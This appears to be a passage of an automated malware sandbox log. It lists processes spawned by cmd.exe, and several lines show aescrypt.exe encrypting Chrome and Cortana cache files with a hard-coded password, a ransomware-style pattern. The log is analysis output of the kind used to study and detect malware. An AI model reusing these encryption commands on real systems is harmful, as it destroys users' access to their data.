Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
